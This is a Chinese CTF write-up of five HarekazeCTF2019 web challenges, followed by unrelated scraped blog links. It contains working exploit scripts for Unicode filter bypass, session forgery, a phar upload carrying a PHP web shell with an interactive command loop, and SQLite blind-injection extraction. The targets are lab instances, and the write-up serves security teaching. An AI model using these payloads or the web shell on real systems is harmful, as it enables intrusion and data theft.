[HarekazeCTF2019] web
在 buuoj 上看到的这个比赛题目,期间平台关了,就拿了 Dockerfile 本地做了,web 题目感觉还不错
encode_and_encode [100]
打开靶机,前两个页面都是 html 页面,第三个给了页面源码
源码如下
<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
$body = file_get_contents('php://input');
$json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);
file_get_contents('php://input')
获取 post 的数据,json_decode($body, true)
用 json 格式解码 post 的数据,然后is_valid($body)
对 post 数据检验,大概输入的格式如下is_valid($body)
对 post 数据检验,导致无法传输$banword
中的关键词,也就无法传输flag
,这里在 json 中,可以使用 Unicode 编码绕过,flag
就等于\u0066\u006c\u0061\u0067
通过检验后,获取
page
对应的文件,并且页面里的内容也要通过is_valid
检验,然后将文件中HarekazeCTF{}
替换为HarekazeCTF{<censored>}
,这样就无法明文读取 flag这里传入
/\u0066\u006c\u0061\u0067
后,由于flag
文件中也包含 flag 关键字,所以返回not found
,这也无法使用file://
file_get_contents
是可以触发php://filter
的,所以考虑使用伪协议读取,对php
的过滤使用Unicode
绕过即可可以看出,json 在传输时是 Unicode 编码的
Avatar Uploader 1 [100]
给了源码,打开靶机,登录之后,是一个文件上传
首先
config.php
中定义了一些常量然后在
upload.php
中判断文件大小,并使用FILEINFO
判断上传图片类型,上传图片只能是 png 类型后面再用
getimagesize
判断文件像素大小,并且再进行一次类型判断,如果不是 png 类型就给出 flag在这两种判断上传图片类型的函数中,有一个很有趣的现象,
FILEINFO
可以识别 png 图片( 十六进制下 )的第一行,而getimagesize
不可以,代码如下
<?php
$file = finfo_open(FILEINFO_MIME_TYPE);
var_dump(finfo_file($file, "test"));
$f = getimagesize("test");
var_dump($f[2] === IMAGETYPE_PNG);
结果,16进制文件也在下面
直接上传这个文件就可以获取 flag 了
Easy Notes [200]
给了源码,打开靶机,是一个笔记系统
在登陆处进行了匹配,只允许输入 4 到 64 位规定字符,且不是前端验证
登陆成功后,可以进行增删查和导出为 zip 或 tar 的功能,点击
Get flag
提示不是 admin既然拿到源码就先看看全局配置
config.php
,就写了一行,定义临时文件目录
define('TEMP_DIR', '/var/www/tmp');
进入
page/flag.php
看一下给出 flag 的条件,要满足is_admin()
函数跟进
is_admin()
函数,没有发现什么可以利用的地方看到有个导出功能,它会将添加的 note 导出为 zip,这个文件存放的位置在
TEMP_DIR
,和session
信息保存在同一个位置,那么是不是可以考虑伪造 sessionsession 文件以
sess_
开头,且只含有a-z
,A-Z
,0-9
,-
看到
$filename
处可以满足所有的条件构造
user
为sess_
,type
为.
,经过处理之后,$path
就是TEMP_DIR/sess_0123456789abcdef
这就伪造了一个 session 文件然后向这个文件写入 note 的
title
php 默认的 session 反序列化方式是
php
,其存储方式为键名+竖线+经过serialize函数序列处理的值
,这就可以伪造admin
了在最后,它会将构造的
$filename
返回,这样就可以拿到构造出的 admin 的 session 数据很典型的 session 伪造,session 反序列化
利用脚本
import re
import requests
URL = 'http://192.168.233.136:9000/'
while True:
# login as sess_
sess = requests.Session()
sess.post(URL + 'login.php', data={
'user': 'sess_'
})
# make a crafted note
sess.post(URL + 'add.php', data={
'title': '|N;admin|b:1;',
'body': 'hello'
})
# make a fake session
r = sess.get(URL + 'export.php?type=.').headers['Content-Disposition']
print(r)
sessid = re.findall(r'sess_([0-9a-z-]+)', r)[0]
print(sessid)
# get the flag
r = requests.get(URL + '?page=flag', cookies={
'PHPSESSID': sessid
}).content.decode('utf-8')
flag = re.findall(r'HarekazeCTF\{.+\}', r)
if len(flag) > 0:
print(flag[0])
break
Avatar Uploader 2 [300]
- 接
Uploader1
,这里是找第二个 flag - 给的 hint: https://php.net/manual/ja/function.password-hash.php
upload.php
中可以利用的暂时已经利用完了,看一下index.php
吧index.php
代码简化大致如下
<?php
error_reporting(0);
require_once('config.php');
require_once('lib/util.php');
require_once('lib/session.php');
$session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY);
if ($session->isset('flash')) {
$flash = $session->get('flash');
$session->unset('flash');
}
$avatar = $session->isset('avatar') ? 'uploads/' . $session->get('avatar') : 'default.png' ;
$session->save();
include('common.css');
include($session->get('theme', 'light') . '.css');
if ($session->isset('name')) {
echo "Hello".$session->get('name')."</br>";
}
if ($flash) {
echo $flash['type']."</br>";
echo $flash['message']."</br>";
}
if ($session->isset('name')) {
echo "Please upload"."</br>";
} else {
echo "Please sign in"."</br>";
}
这里的 session 处理机制是自己写的,在
lib\session.php
中,首先确认的事情是,登录后 HTTP 头部返回的Cookie
是session=******.******
这种格式的首先
__construct
中,判断session
是否存在$_COOKIE
中,如果存在则以.
分割session
,然后对data
和signature
进行verify
函数认证,认证成功就返回数据的json_decode
的结果isset
中判断参数$key
是否在data
中,get
中返回data
中key
为参数$key
的数据,set
中将data
中key
为参数$key
的数据设置为参数$value
,unset
中删除data
中key
为参数$key
的数据save
中将data
转化为 json 并进行urlsafe_base64_encode
,再用sign
对data
进行签名这样整个
session.php
就完了,回到index.php
,然后进行的是flash
的判断,找了一下,在lib\util.php
中描述了flash
并且给了调用flash
函数的条件,即error
函数,找了一下,error
在upload.php
中,上传失败时调用做的测试如图,
flash
将错误信息保存在session
中的根据给的提示,
password_hash
函数是存在安全隐患的,它的第一个参数不能超过 72 个字符,这个函数在sign
中被调用,sign
被save
调用,save
在index.php
中被调用password_hash
函数的漏洞就意味着只对前 72 个字符进行签名,只要前 72 个字符相同,那么就会在校验时通过那么是不是可以登录一次,然后访问
upload.php
触发error
函数,这样就能绕过 session 校验,然后对 data 信息进行修改,进而触发其他操作可以看到,在
index.php
中存在一行代码include($session->get('theme','light').'.css');
,session 信息是由我们控制的,那么就可以通过 phar 协议,触发 LFI ,首先要把 phar 文件上传,里面复合一个假的 css 文件,存放一句话,这样就可以在include
时触发 RCE生成 phar 代码
<?php
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('exp.css', '<?php system($_GET["cmd"]); ?>');
$phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
本地对这个 phar 做的一个测试
新登录一个用户,上传这个 phar,记录这个 phar 的地址和名字,然后去
upload.php
触发一次error
,记录data
和signature
,修改data
,增加theme
键,键值为 phar 协议读取上传的文件,然后生成 session 再去访问index.php
传入命令即可exp.py
import base64
import json
import re
import requests
import urllib.parse
url = 'http://192.168.233.136:9003/'
def b64decode(s):
return base64.urlsafe_b64decode(s + '=' * (3 - (3 + len(s)) % 4))
sess = requests.Session()
username = b"peri0d".decode()
url_1 = url + 'signin.php'
sess.post(url=url_1, data={'name': username})
url_2 = url + 'upload.php'
f = open('exp.phar', 'rb')
sess.post(url_2, files={'file': ('exp.png', f)})
data = sess.cookies['session'].split('.')[0]
data = json.loads(b64decode(data))
avatar = data['avatar']
url_3 = url + 'upload.php'
sess.get(url_3, allow_redirects=False)
data, sig = sess.cookies['session'].split('.')
data = b64decode(data)
payload = data.replace(b'}}', '}},"theme":"phar://uploads/{}/exp"}}'.format(avatar).encode())
sess.cookies.set('session', base64.b64encode(payload).decode().replace('=', '') + '.' + sig)
while True:
command = input('> ')
c = sess.get(url + '?cmd=' + urllib.parse.quote(command)).content.decode()
result = re.findall(r'/\* light/dark.css \*/(.+)/\*\*/', c, flags=re.DOTALL)[0]
print(result.strip())
Sqlite Voting [350]
打开靶机,看到投票的页面,并且给了源码
在
vote.php
页面POST
参数id
,只能为数字。并且在schema.sql
中发现了flag
表
DROP TABLE IF EXISTS `vote`;
CREATE TABLE `vote` (
`id` INTEGER PRIMARY KEY AUTOINCREMENT,
`name` TEXT NOT NULL,
`count` INTEGER
);
INSERT INTO `vote` (`name`, `count`) VALUES
('dog', 0),
('cat', 0),
('zebra', 0),
('koala', 0);
DROP TABLE IF EXISTS `flag`;
CREATE TABLE `flag` (
`flag` TEXT NOT NULL
);
INSERT INTO `flag` VALUES ('HarekazeCTF{<redacted>}');
- 在
vote.php
中给出了查询的 SQL 语句,但是对参数进行了检测
function is_valid($str) {
$banword = [
// dangerous chars
// " % ' * + / < = > \ _ ` ~ -
"[\"%'*+\\/<=>\\\\_`~-]",
// whitespace chars
'\s',
// dangerous functions
'blob', 'load_extension', 'char', 'unicode',
'(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
'in', 'limit', 'order', 'union', 'join'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
$id = $_POST['id'];
if (!is_valid($id)) {
die(json_encode(['error' => 'Vote id contains dangerous chars']));
}
$pdo = new PDO('sqlite:../db/vote.db');
$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
if ($res === false) {
die(json_encode(['error' => 'An error occurred while updating database']));
}
UPDATE
成功与失败分别对应了不同的页面,那么是不是可以进行盲注,但是考虑到它过滤了'
和"
这就无法使用字符进行判断,char
又被过滤也无法使用 ASCII 码判断所以可以考虑使用
hex
进行字符判断,将所有的的字符串组合用有限的 36 个字符表示先考虑对 flag 16 进制长度的判断,假设它的长度为
x
,y
表示 2 的 n 次方,那么x&y
就能表现出x
二进制为 1 的位置,将这些y
再进行或运算就可以得到完整的x
的二进制,也就得到了 flag 的长度,而1<<n
恰可以表示 2 的 n 次方那么如何构造报错语句呢?在
sqlite3
中,abs
函数有一个整数溢出的报错,如果abs
的参数是-9223372036854775808
就会报错,同样如果是正数也会报错判断长度的 payload :
abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)
脚本如下,长度 84
import requests
url = "http://1aa0d946-f0a0-4c60-a26a-b5ba799227b6.node2.buuoj.cn.wetolink.com:82/vote.php"
l = 0
for n in range(16):
payload = f'abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)'
data = {
'id' : payload
}
r = requests.post(url=url, data=data)
print(r.text)
if 'occurred' in r.text:
l = l|1<<n
print(l)
- 然后考虑逐字符进行判断,但是
is_valid()
过滤了大部分截取字符的函数,而且也无法用 ASCII 码判断 - 这一题对盲注语句的构造很巧妙,首先利用如下语句分别构造出
ABCDEF
,这样十六进制的所有字符都可以使用了,并且使用trim(0,0)
来表示空字符
# hex(b'zebra') = 7A65627261
# 除去 12567 就是 A ,其余同理
A = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
C = 'trim(hex(typeof(.1)),12567)'
D = 'trim(hex(0xffffffffffffffff),123)'
E = 'trim(hex(0.1),1230)'
F = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
# hex(b'koala') = 6B6F616C61
# 除去 16CF 就是 B
B = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{C}||{F})'
- 然后逐字符进行爆破,已经知道 flag 格式为
flag{}
,hex(b'flag{')==666C61677B
,在其后面逐位添加十六进制字符,构成 paylaod - 再利用
replace(length(replace(flag,payload,''))),84,'')
这个语句进行判断 - 如果 flag 不包含 payload ,那么得到的
length
必为 84 ,最外面的replace
将返回false
,通过case when then else
构造abs
参数为0
,它不报错 - 如果 flag 包含 payload ,那么
replace(flag, payload, '')
将 flag 中的 payload 替换为空,得到的length
必不为 84 ,最外面的replace
将返回true
,通过case when then else
构造abs
参数为0x8000000000000000
令其报错 - 以上就可以根据报错爆破出 flag,最后附上出题人脚本
# coding: utf-8
import binascii
import requests
URL = 'http://1aa0d946-f0a0-4c60-a26a-b5ba799227b6.node2.buuoj.cn.wetolink.com:82/vote.php'
l = 0
i = 0
for j in range(16):
r = requests.post(URL, data={
'id': f'abs(case(length(hex((select(flag)from(flag))))&{1<<j})when(0)then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
l |= 1 << j
print('[+] length:', l)
table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'
res = binascii.hexlify(b'flag{').decode().upper()
for i in range(len(res), l):
for x in '0123456789ABCDEF':
t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
r = requests.post(URL, data={
'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
res += x
break
print(f'[+] flag ({i}/{l}): {res}')
i += 1
print('[+] flag:', binascii.unhexlify(res).decode())
题目总结
- json 传输时是 Unicode 编码的,可以使用 Unicode 编码来绕过一个关键词过滤
FILEINFO
可以识别 png 图片( 十六进制下 )的第一行,而getimagesize
不可以- php 默认的 session 反序列化方式是
php
,其存储方式为键名+竖线+经过serialize函数序列处理的值
,默认保存在/tmp
- 上传文件存放的位置在
TEMP_DIR
,和session
信息保存在同一个位置,那么是不是可以考虑伪造 session password_hash
函数只对第一个参数的前 72 个字符有效- phar 是一系列文件的集合,通过
addFromString(filename, file_content)
写入信息,那么通过phar://test.phar/filename
自然可以读取到,通常文件上传多可以考虑 phar - sqlite3 盲注 bypass ,利用 replace() 和 length 进行爆破,trim() 替换空字符,trim() 和 hex() 构造字符,& 特性获取长度等等,在 mysql 中也存在溢出的现象
参考链接
- https://www.cnblogs.com/2881064178dinfeng/p/6150645.html
- https://www.cnblogs.com/lipcblog/p/7348732.html
[HarekazeCTF2019] web的更多相关文章
- C# Web应用调试开启外部访问
在用C#开发Web应用时有个痛点,就是本机用VS开启Web应用调试时外部机器无法访问此Web应用.这里将会介绍如何通过设置允许局域网和外网机器访问本机的Web应用. 目录 1. 设置内网访问 2. 设 ...
- 网页提交中文到WEB容器的经历了些什么过程....
先准备一个网页 <html><meta http-equiv="Content-Type" content="text/html; charset=gb ...
- 闲来无聊,研究一下Web服务器 的源程序
web服务器是如何工作的 1989年的夏天,蒂姆.博纳斯-李开发了世界上第一个web服务器和web客户机.这个浏览器程序是一个简单的电话号码查询软件.最初的web服务器程序就是一个利用浏览器和web服 ...
- java: web应用中不经意的内存泄露
前面有一篇讲解如何在spring mvc web应用中一启动就执行某些逻辑,今天无意发现如果使用不当,很容易引起内存泄露,测试代码如下: 1.定义一个类App package com.cnblogs. ...
- 对抗密码破解 —— Web 前端慢 Hash
(更新:https://www.cnblogs.com/index-html/p/frontend_kdf.html ) 0x00 前言 天下武功,唯快不破.但在密码学中则不同.算法越快,越容易破. ...
- 使用 Nodejs 搭建简单的Web服务器
使用Nodejs搭建Web服务器是学习Node.js比较全面的入门教程,因为要完成一个简单的Web服务器,你需要学习Nodejs中几个比较重要的模块,比如:http协议模块.文件系统.url解析模块. ...
- 一步步开发自己的博客 .NET版(11、Web.config文件的读取和修改)
Web.config的读取 对于Web.config的读取大家都很属性了.平时我们用得比较多的就是appSettings节点下配置.如: 我们对应的代码是: = ConfigurationManage ...
- Web性能优化:What? Why? How?
为什么要提升web性能? Web性能黄金准则:只有10%~20%的最终用户响应时间花在了下载html文档上,其余的80%~90%时间花在了下载页面组件上. web性能对于用户体验有及其重要的影响,根据 ...
- Web性能优化:图片优化
程序员都是懒孩子,想直接看自动优化的点:传送门 我自己的Blog:http://cabbit.me/web-image-optimization/ HTTP Archieve有个统计,图片内容已经占到 ...
随机推荐
- 面试刷题25:jvm的垃圾收集算法?
垃圾收集是java语言的亮点,大大提高了开发人员的效率. 垃圾收集即GC,当内存不足的时候触发,不同的jvm版本算法和机制都有差别. 我是李福春,我在准备面试,今天的问题是: jvm的垃圾回收算法有哪 ...
- 图像的特征工程:HOG特征描述子的介绍
介绍 在机器学习算法的世界里,特征工程是非常重要的.实际上,作为一名数据科学家,这是我最喜欢的方面之一!从现有特征中设计新特征并改进模型的性能,这就是我们进行最多实验的地方. 世界上一些顶级数据科学家 ...
- “GANs”与“ODEs”:数学建模的终结?
在本文中,我想将经典数学建模和机器学习之间建立联系,它们以完全不同的方式模拟身边的对象和过程.虽然数学家基于他们的专业知识和对世界的理解来创建模型,而机器学习算法以某种隐蔽的不完全理解的方式描述世界, ...
- 高性能RabbitMQ
1,什么是RabbitMq RabbitMQ是实现了高级消息队列协议(AMQP)的开源消息代理软件(亦称面向消息的中间件).RabbitMQ服务器是用Erlang语言编写的,而集群和故障转移是构建在开 ...
- Collections.sort详解
Collections.sort(list, new PriceComparator());的第二个参数返回一个int型的值,就相当于一个标志,告诉sort方法按什么顺序来对list进行排序. Com ...
- IOS部分APP使用burpsuite抓不到包原因
曾经在ios12的时候,iphone通过安装burpsuite的ca证书并开启授权,还可以抓到包,升级到ios13后部分app又回到以前连上代理就断网的情况. 分析:ios(13)+burpsuite ...
- Vue里面提供的三大类钩子及两种函数
在路由跳转的时候,我们需要一些权限判断或者其他操作.这个时候就需要使用路由的钩子函数. 定义:路由钩子主要是给使用者在路由发生变化时进行一些特殊的处理而定义的函数. 总体来讲vue里面提供了三大类钩子 ...
- css3之 景深
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title> ...
- 《mysql 必知必会》 速查指南
目录 增 添加一整行 插入多行 删 删除指定行 删除所有行 改 查 简单检索 结果筛选 结果排序 结果过滤 创建字段 处理函数 数据分组 其他高级用法 文章内容均出自 <MySQL 必知必会&g ...
- django自定义实现登录验证-更新版
django自定义实现登录验证 django内置的登录验证必须让开发者使用django内置的User模块,这会让开发者再某些方面被限制住 下面的模块是我自己自定义实现的django验证,使用方式和dj ...